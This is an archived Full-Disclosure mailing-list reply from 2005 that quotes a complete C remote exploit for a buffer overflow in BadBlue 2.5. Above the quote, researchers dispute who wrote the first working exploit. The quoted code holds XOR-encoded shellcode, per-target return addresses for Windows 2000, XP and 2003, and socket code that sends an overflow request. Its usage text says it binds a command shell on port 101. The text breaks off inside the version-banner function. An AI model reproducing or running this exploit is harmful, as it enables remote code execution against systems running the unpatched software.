<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>RE: [Full-Disclosure] [HAT-SQUAD] BadBlue, Easy P2P File Sharing Remote Exploit (update)</TITLE>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>next time then publish both in same time because 
coded or not because of timeline , the exploit has been brought in first by 
hat-squad&nbsp;, sorry ;&gt;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>-------------------------------------------------------------<BR>class101<BR>Jr. 
Researcher<BR>Hat-Squad.com<BR>-------------------------------------------------------------</DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV 
  style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B> 
  <A href="mailto:atarasco@sia.es" title=atarasco@sia.es>Andres Tarasco</A> 
  </DIV>
  <DIV style="FONT: 10pt arial"><B>To:</B> <A 
  href="mailto:'class101@hat-squad.com'" 
  title=class101@hat-squad.com>'class101@hat-squad.com'</A> </DIV>
  <DIV style="FONT: 10pt arial"><B>Cc:</B> <A 
  href="mailto:'full-disclosure@lists.netsys.com, vulnwatch@vulnwatch.org'" 
  title=dailydave@lists.immunitysec.com,>'full-disclosure@lists.netsys.com, 
  vulnwatch@vulnwatch.org'</A> </DIV>
  <DIV style="FONT: 10pt arial"><B>Sent:</B> Monday, February 28, 2005 11:18 
  AM</DIV>
  <DIV style="FONT: 10pt arial"><B>Subject:</B> RE: [Full-Disclosure] 
  [HAT-SQUAD] BadBlue, Easy P2P File Sharing Remote Exploit (update)</DIV>
  <DIV><BR></DIV>
  <P><FONT size=2>&gt; Hole History:</FONT> <BR><FONT size=2>&gt;</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp; 26-2-2005: BOF flaw published by Andres 
  Tarasco of sia.es</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; 27-2-2002: 
  Hat-Squad.com releases an exploit</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; 
  28-2-2005: haxorcitos releases a dupe with fake date :&gt;</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  or you sux doing private stuffs.</FONT> </P>
  <P><FONT size=2>Thats simply not true.</FONT> <BR><FONT size=2>Miguel Tarasco 
  developed the first functional exploit for this vulnerability.</FONT> 
  <BR><FONT size=2>This exploit was not published before because of disclosure 
  Timeline.</FONT> </P>
  <P><FONT size=2>regards</FONT> </P><BR><BR>
  <P><FONT size=2>On Mon, 28 Feb 2005 09:42:11 +0100, class 101 
  &lt;class101@hat-squad.com&gt; wrote:</FONT> <BR><FONT size=2>&gt; (reposting 
  again with the hole history)</FONT> <BR><FONT size=2>&gt; Andres Tarasco of 
  sia.es has published yesterday a security hole affecting</FONT> <BR><FONT 
  size=2>&gt; BadBlue 2.5 and below.</FONT> <BR><FONT size=2>&gt; 
  </FONT><BR><FONT size=2>&gt; <A 
  href="http://seclists.org/lists/fulldisclosure/2005/Feb/0704.html" 
  target=_blank>http://seclists.org/lists/fulldisclosure/2005/Feb/0704.html</A></FONT> 
  <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; Hat-Squad.com brought you a 
  fresh exploit.</FONT> <BR><FONT size=2>&gt; The exploit and BadBlue v2.5 are 
  both available at class101.org for your</FONT> <BR><FONT size=2>&gt; 
  exploitation's pratices, njoy :)</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT 
  size=2>&gt; /*</FONT> <BR><FONT size=2>&gt; BadBlue, Easy File Sharing Remote 
  BOverflow</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; 
  Homepage:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; badblue.com</FONT> 
  <BR><FONT size=2>&gt; Affected version: v2.5 (2.60 and below not 
  tested)</FONT> <BR><FONT size=2>&gt; Patched&nbsp; version: v2.61</FONT> 
  <BR><FONT size=2>&gt; 
  Link:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  badblue.com/bbs98.exe</FONT> <BR><FONT size=2>&gt; 
  Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  27 February 2005</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; 
  Application Risk: Severely High</FONT> <BR><FONT size=2>&gt; Internet 
  Risk:&nbsp;&nbsp;&nbsp; Low</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT 
  size=2>&gt; Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)</FONT> 
  <BR><FONT size=2>&gt; Exploit Credits : class101 &amp; metasploit.com</FONT> 
  <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; Hole History:</FONT> 
  <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;&nbsp;&nbsp; 26-2-2005: BOF 
  flaw published by Andres Tarasco of sia.es</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; 27-2-2002: Hat-Squad.com releases an exploit</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp; 28-2-2005: haxorcitos releases a dupe with 
  fake date :&gt;</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  or you sux doing private stuffs.</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT 
  size=2>&gt; Notes:</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT 
  size=2>&gt;&nbsp;&nbsp; -6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, 
  badly interpreted by</FONT> <BR><FONT size=2>&gt; BadBlue</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; -using offsets from ext.dll, universal.</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp; -use findjmp2 to quick search into ext.dll 
  to see</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; if the offsets changes 
  in the others BadBlue's versions below 2.5</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; -if you need the v2.5 for exploitation's pratices, get 
  it on class101.org</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; -rename to .c for 
  nux, haven't tested this one but it should works fine.</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; Greet:</FONT> <BR><FONT size=2>&gt; 
  </FONT><BR><FONT size=2>&gt;&nbsp;&nbsp; Nima Majidi</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Behrang 
  Fouladi</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; Pejman</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; Hat-Squad.com</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; 
  metasploit.com</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; A^C^E of 
  addict3d.org</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; str0ke of 
  milw0rm.com</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; and my homy class101.org 
  :&gt;</FONT> <BR><FONT size=2>&gt; */</FONT> <BR><FONT size=2>&gt; 
  </FONT><BR><FONT size=2>&gt; #include &lt;stdio.h&gt;</FONT> <BR><FONT 
  size=2>&gt; #include &lt;string.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;time.h&gt;</FONT> <BR><FONT size=2>&gt; #ifdef WIN32</FONT> <BR><FONT 
  size=2>&gt; #include "winsock2.h"</FONT> <BR><FONT size=2>&gt; #pragma 
  comment(lib, "ws2_32")</FONT> <BR><FONT size=2>&gt; #else</FONT> <BR><FONT 
  size=2>&gt; #include &lt;sys/socket.h&gt;</FONT> <BR><FONT size=2>&gt; 
  #include &lt;sys/types.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;netinet/in.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;netinet/in_systm.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;netinet/ip.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;netdb.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;arpa/inet.h&gt;</FONT> <BR><FONT size=2>&gt; #include 
  &lt;unistd.h&gt;</FONT> <BR><FONT size=2>&gt; #include &lt;stdlib.h&gt;</FONT> 
  <BR><FONT size=2>&gt; #include &lt;fcntl.h&gt;</FONT> <BR><FONT size=2>&gt; 
  #endif</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; char 
  scode[]=</FONT> <BR><FONT size=2>&gt; /*XORed, I kiss metasploit.com because 
  they are what means elite!*/</FONT> <BR><FONT size=2>&gt; 
  "\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x03"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x7b\x5b\x13\x83\xee\xfc\xe2\xf4\xff\x11\xb0\x5c\xeb\x82\xa4\xec"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xfc\x1b\xd0\x7f\x27\x5f\xd0\x56\x3f\xf0\x27\x16\x7b\x7a\xb4\x98"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x4c\x63\xd0\x4c\x23\x7a\xb0\xf0\x33\x32\xd0\x27\x88\x7a\xb5\x22"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xc3\xe2\xf7\x97\xc3\x0f\x5c\xd2\xc9\x76\x5a\xd1\xe8\x8f\x60\x47"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x27\x53\x2e\xf0\x88\x24\x7f\x12\xe8\x1d\xd0\x1f\x48\xf0\x04\x0f"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x02\x90\x58\x3f\x88\xf2\x37\x37\x1f\x1a\x98\x22\xc3\x1f\xd0\x53"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x33\xf0\x1b\x1f\x88\x0b\x47\xbe\x88\x3b\x53\x4d\x6b\xf5\x15\x1d"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xef\x2b\xa4\xc5\x32\xa0\x3d\x40\x65\x13\x68\x21\x6b\x0c\x28\x21"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x5c\x2f\xa4\xc3\x6b\xb0\xb6\xef\x38\x2b\xa4\xc5\x5c\xf2\xbe\x75"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x82\x96\x53\x11\x56\x11\x59\xec\xd3\x13\x82\x1a\xf6\xd6\x0c\xec"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xd5\x28\x08\x40\x50\x28\x18\x40\x40\x28\xa4\xc3\x65\x13\x5b\x76"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x65\x28\xd2\xf2\x96\x13\xff\x09\x73\xbc\x0c\xec\xd5\x11\x4b\x42"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x56\x84\x8b\x7b\xa7\xd6\x75\xfa\x54\x84\x8d\x40\x56\x84\x8b\x7b"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xe6\x32\xdd\x5a\x54\x84\x8d\x43\x57\x2f\x0e\xec\xd3\xe8\x33\xf4"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x7a\xbd\x22\x44\xfc\xad\x0e\xec\xd3\x1d\x31\x77\x65\x13\x38\x7e"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x8a\x9e\x31\x43\x5a\x52\x97\x9a\xe4\x11\x1f\x9a\xe1\x4a\x9b\xe0"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xa9\x85\x19\x3e\xfd\x39\x77\x80\x8e\x01\x63\xb8\xa8\xd0\x33\x61"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xfd\xc8\x4d\xec\x76\x3f\xa4\xc5\x58\x2c\x09\x42\x52\x2a\x31\x12"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x52\x2a\x0e\x42\xfc\xab\x33\xbe\xda\x7e\x95\x40\xfc\xad\x31\xec"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xfc\x4c\xa4\xc3\x88\x2c\xa7\x90\xc7\x1f\xa4\xc5\x51\x84\x8b\x7b"</FONT> 
  <BR><FONT size=2>&gt; 
  "\xf3\xf1\x5f\x4c\x50\x84\x8d\xec\xd3\x7b\x5b\x13";</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; char payload[1024];</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; char ebx[]="\x05\x53\x02\x10";&nbsp; 
  /*call.ext.dll*/</FONT> <BR><FONT size=2>&gt; char ebx2[]="\xB0\x55\x02\x10"; 
  /*pop.pop.ret.ext.dll thx findjmp2 ;&gt;*/</FONT> <BR><FONT size=2>&gt; char 
  pad[]="\xEB\x0C\x90\x90";</FONT> <BR><FONT size=2>&gt; char 
  pad2[]="\xE9\x05\xFE\xFF\xFF";</FONT> <BR><FONT size=2>&gt; char 
  EOL[]="\x0D\x0A\x0D\x0A";</FONT> <BR><FONT size=2>&gt; char talk[]=</FONT> 
  <BR><FONT size=2>&gt; 
  "\x47\x45\x54\x20\x2F\x65\x78\x74\x2E\x64\x6C\x6C\x3F\x6D\x66\x63"</FONT> 
  <BR><FONT size=2>&gt; 
  "\x69\x73\x61\x70\x69\x63\x6F\x6D\x6D\x61\x6E\x64\x3D";</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; #ifdef WIN32</FONT> <BR><FONT 
  size=2>&gt;&nbsp; WSADATA wsadata;</FONT> <BR><FONT size=2>&gt; #endif</FONT> 
  <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; void ver();</FONT> 
  <BR><FONT size=2>&gt; void usage(char* us);</FONT> <BR><FONT size=2>&gt; 
  </FONT><BR><FONT size=2>&gt; int main(int argc,char *argv[])</FONT> <BR><FONT 
  size=2>&gt; {</FONT> <BR><FONT size=2>&gt;&nbsp; ver();</FONT> <BR><FONT 
  size=2>&gt;&nbsp; unsigned long gip;</FONT> <BR><FONT size=2>&gt;&nbsp; 
  unsigned short gport;</FONT> <BR><FONT size=2>&gt;&nbsp; char *target, 
  *os;</FONT> <BR><FONT size=2>&gt;&nbsp; if</FONT> <BR><FONT size=2>&gt; 
  (argc&gt;6||argc&lt;3||atoi(argv[1])&gt;3||atoi(argv[1])&lt;1){usage(argv[0]);return 
  -1;</FONT> <BR><FONT size=2>&gt; }</FONT> <BR><FONT size=2>&gt;&nbsp; if 
  (argc==5){usage(argv[0]);return -1;}</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; if 
  (strlen(argv[2])&lt;7){usage(argv[0]);return -1;}</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; if (argc==6)</FONT> <BR><FONT 
  size=2>&gt;&nbsp; {</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if 
  (strlen(argv[4])&lt;7){usage(argv[0]);return -1;}</FONT> <BR><FONT 
  size=2>&gt;&nbsp; }</FONT> <BR><FONT size=2>&gt; #ifndef WIN32</FONT> 
  <BR><FONT size=2>&gt;&nbsp; if (argc==6)</FONT> <BR><FONT size=2>&gt;&nbsp; 
  {</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; 
  gip=inet_addr(argv[4])^(long)0x93939393;</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; gport=htons(atoi(argv[5]))^(short)0x9393;</FONT> 
  <BR><FONT size=2>&gt;&nbsp; }</FONT> <BR><FONT size=2>&gt; #define Sleep&nbsp; 
  sleep</FONT> <BR><FONT size=2>&gt; #define SOCKET&nbsp; int</FONT> <BR><FONT 
  size=2>&gt; #define closesocket(s) close(s)</FONT> <BR><FONT size=2>&gt; 
  #else</FONT> <BR><FONT size=2>&gt;&nbsp; if 
  (WSAStartup(MAKEWORD(2,0),&amp;wsadata)!=0){printf("[+] wsastartup</FONT> 
  <BR><FONT size=2>&gt; error\n");return -1;}</FONT> <BR><FONT size=2>&gt;&nbsp; 
  if (argc==6)</FONT> <BR><FONT size=2>&gt;&nbsp; {</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; gip=inet_addr(argv[4])^(ULONG)0x93939393;</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp; 
  gport=htons(atoi(argv[5]))^(USHORT)0x9393;</FONT> <BR><FONT size=2>&gt;&nbsp; 
  }</FONT> <BR><FONT size=2>&gt; #endif</FONT> <BR><FONT size=2>&gt;&nbsp; int 
  ip=htonl(inet_addr(argv[2])), port;</FONT> <BR><FONT size=2>&gt;&nbsp; if 
  (argc==4||argc==6){port=atoi(argv[3]);} else port=80;</FONT> <BR><FONT 
  size=2>&gt;&nbsp; SOCKET s;fd_set mask;struct timeval timeout; struct 
  sockaddr_in server;</FONT> <BR><FONT size=2>&gt;&nbsp; 
  s=socket(AF_INET,SOCK_STREAM,0);</FONT> <BR><FONT size=2>&gt;&nbsp; if 
  (s==-1){printf("[+] socket() error\n");return -1;}</FONT> <BR><FONT 
  size=2>&gt;&nbsp; if (atoi(argv[1]) == 1){target=ebx;os="Win2k SP4 Server 
  English\n[+]</FONT> <BR><FONT size=2>&gt; Win2k SP4 Pro.&nbsp;&nbsp; 
  English\n[+]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  Win2k SP- -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -";}</FONT> <BR><FONT 
  size=2>&gt;&nbsp; if (atoi(argv[1]) == 2){target=ebx2;os="WinXP SP2&nbsp; Pro. 
  English\n[+]</FONT> <BR><FONT size=2>&gt; WinXP SP1a Pro. 
  English\n[+]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  WinXP SP-&nbsp; -&nbsp;&nbsp;&nbsp; -";}</FONT> <BR><FONT size=2>&gt;&nbsp; if 
  (atoi(argv[1]) == 3){target=ebx2;os="Win2003 SP4 Server English\n[+]</FONT> 
  <BR><FONT size=2>&gt; Win2003 SP- -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -";}</FONT> 
  <BR><FONT size=2>&gt;&nbsp; printf("[+] target(s): %s\n",os);</FONT> <BR><FONT 
  size=2>&gt;&nbsp; server.sin_family=AF_INET;</FONT> <BR><FONT 
  size=2>&gt;&nbsp; server.sin_addr.s_addr=htonl(ip);</FONT> <BR><FONT 
  size=2>&gt;&nbsp; server.sin_port=htons(port);</FONT> <BR><FONT 
  size=2>&gt;&nbsp; if (argc==6){printf("[+] reverse mode disabled for this 
  exploit\n");</FONT> <BR><FONT size=2>&gt;&nbsp; printf("[+] get the source at 
  class101.org and update</FONT> <BR><FONT size=2>&gt; yourself!\n");return 
  -1;}</FONT> <BR><FONT size=2>&gt;&nbsp; connect(s,( struct sockaddr 
  *)&amp;server,sizeof(server));</FONT> <BR><FONT size=2>&gt;&nbsp; 
  timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&amp;mask);FD_SET(s,&amp;mask);</FONT> 
  <BR><FONT size=2>&gt;&nbsp; 
  switch(select(s+1,NULL,&amp;mask,NULL,&amp;timeout))</FONT> <BR><FONT 
  size=2>&gt;&nbsp; {</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; case -1: 
  {printf("[+] select() error\n");closesocket(s);return -1;}</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp; case 0: {printf("[+] connect() 
  error\n");closesocket(s);return -1;}</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; 
  default:</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; 
  if(FD_ISSET(s,&amp;mask))</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; {</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; printf("[+] connected, constructing 
  the payload...\n");</FONT> <BR><FONT size=2>&gt; #ifdef WIN32</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; Sleep(1000);</FONT> <BR><FONT size=2>&gt; 
  #else</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; Sleep(1);</FONT> 
  <BR><FONT size=2>&gt; #endif</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; 
  strcpy(payload,talk);</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; 
  memset(payload+29,0x90,520);</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; if 
  (atoi(argv[1]) == 1||atoi(argv[1]) == 2)</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; {</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(payload+29+492,&amp;pad,4);</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; 
  memcpy(payload+521+4,target,4);</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(payload+536+1,pad2,5);</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; }</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; else</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; {</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(payload+29+485,&amp;pad,4);</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; 
  memcpy(payload+514+4,target,4);</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(payload+529+1,pad2,5);</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; }</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; strcat(payload,EOL);</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; memcpy(payload+36+3,scode,strlen(scode));</FONT> 
  <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; if 
  (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 1,</FONT> 
  <BR><FONT size=2>&gt; the server prolly rebooted.\n");return -1;}</FONT> 
  <BR><FONT size=2>&gt; #ifdef WIN32</FONT> <BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; Sleep(2000);</FONT> <BR><FONT size=2>&gt; 
  #else</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; Sleep(2);</FONT> 
  <BR><FONT size=2>&gt; #endif</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT 
  size=2>&gt;&nbsp;&nbsp;&nbsp; printf("[+] size of payload: 
  %d\n",strlen(payload));</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; 
  printf("[+] payload sent.\n");</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp;&nbsp; 
  return 0;</FONT> <BR><FONT size=2>&gt;&nbsp;&nbsp; }</FONT> <BR><FONT 
  size=2>&gt;&nbsp; }</FONT> <BR><FONT size=2>&gt;&nbsp; closesocket(s);</FONT> 
  <BR><FONT size=2>&gt; #ifdef WIN32</FONT> <BR><FONT size=2>&gt;&nbsp; 
  WSACleanup();</FONT> <BR><FONT size=2>&gt; #endif</FONT> <BR><FONT 
  size=2>&gt;&nbsp; return 0;</FONT> <BR><FONT size=2>&gt; }</FONT> <BR><FONT 
  size=2>&gt; </FONT><BR><FONT size=2>&gt; void usage(char* us)</FONT> <BR><FONT 
  size=2>&gt; {</FONT> <BR><FONT size=2>&gt;&nbsp; printf("USAGE:\n");</FONT> 
  <BR><FONT size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+]&nbsp; . 
  101_bblu.exe Target VulnIP (bind mode)\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+]&nbsp; . 101_bblu.exe Target VulnIP 
  VulnPORT (bind mode)\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+]&nbsp; . 101_bblu.exe Target VulnIP 
  VulnPORT GayIP GayPORT</FONT> <BR><FONT size=2>&gt; (reverse mode)\n");</FONT> 
  <BR><FONT size=2>&gt;&nbsp; 
  printf("TARGET:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  \n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 1. Win2k&nbsp; SP4&nbsp; Server 
  English (*)\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 1. Win2k&nbsp; SP4&nbsp; 
  Pro&nbsp;&nbsp;&nbsp; English (*)\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 1. Win2k&nbsp; SP-&nbsp; 
  -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n");</FONT> <BR><FONT 
  size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 2. WinXP&nbsp; 
  SP2&nbsp; Pro.&nbsp;&nbsp; English&nbsp;&nbsp;&nbsp; \n");</FONT> <BR><FONT 
  size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 2. WinXP&nbsp; 
  SP1a Pro.&nbsp;&nbsp; English (*)\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 2. WinXP&nbsp; SP-&nbsp; 
  -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n");</FONT> <BR><FONT 
  size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 3. Win2k3 
  SP0&nbsp; Server Italian (*)\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] 3. Win2k3 SP-&nbsp; 
  -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n");</FONT> <BR><FONT 
  size=2>&gt;&nbsp; 
  printf("NOTE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  \n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The exploit bind a cmdshell port 101 
  or\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reverse a cmdshell on your 
  listener.\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A wildcard (*) mean tested working, 
  else, supposed</FONT> <BR><FONT size=2>&gt; working.\n");</FONT> <BR><FONT 
  size=2>&gt;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A symbol&nbsp;&nbsp; 
  (-) mean all.\n");</FONT> <BR><FONT size=2>&gt;&nbsp; 
  printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Compilation msvc6, cygwin, 
  Linux.\n");</FONT> <BR><FONT size=2>&gt;&nbsp; return;</FONT> <BR><FONT 
  size=2>&gt; }</FONT> <BR><FONT size=2>&gt; void ver()</FONT> <BR><FONT 
  size=2>&gt; {</FONT> <BR><FONT size=2>&gt;&nbsp; printf("</FONT> <BR><FONT 
